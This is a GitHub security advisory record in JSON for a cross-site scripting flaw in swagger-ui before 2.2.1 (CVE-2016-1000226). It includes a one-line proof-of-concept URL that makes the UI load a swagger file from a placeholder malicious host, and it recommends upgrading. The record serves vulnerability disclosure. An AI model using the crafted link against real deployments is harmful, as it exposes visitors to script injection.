{"id":"GHSA-7f59-x49p-v8mq","summary":"Cross-Site Scripting in swagger-ui","details":"Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://\u003cUSER_HOSTNAME\u003e/swagger-ui/index.html?url=http://\u003cMALICIOUS_HOSTNAME\u003e/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.","aliases":["CVE-2016-1000226"],"modified":"2023-11-08T03:58:07.537176Z","published":"2020-09-01T15:28:45Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2020-08-31T18:11:35Z","nvd_published_at":null,"cwe_ids":["CWE-79"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-1000226"},{"type":"WEB","url":"https://github.com/swagger-api/swagger-ui/issues/1866"},{"type":"WEB","url":"https://github.com/swagger-api/swagger-ui/pull/1867"},{"type":"PACKAGE","url":"https://github.com/swagger-api/swagger-ui"},{"type":"WEB","url":"https://www.npmjs.com/advisories/123"}],"affected":[{"package":{"name":"swagger-ui","ecosystem":"npm","purl":"pkg:npm/swagger-ui"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-7f59-x49p-v8mq/GHSA-7f59-x49p-v8mq.json"}}],"schema_version":"1.9.0"}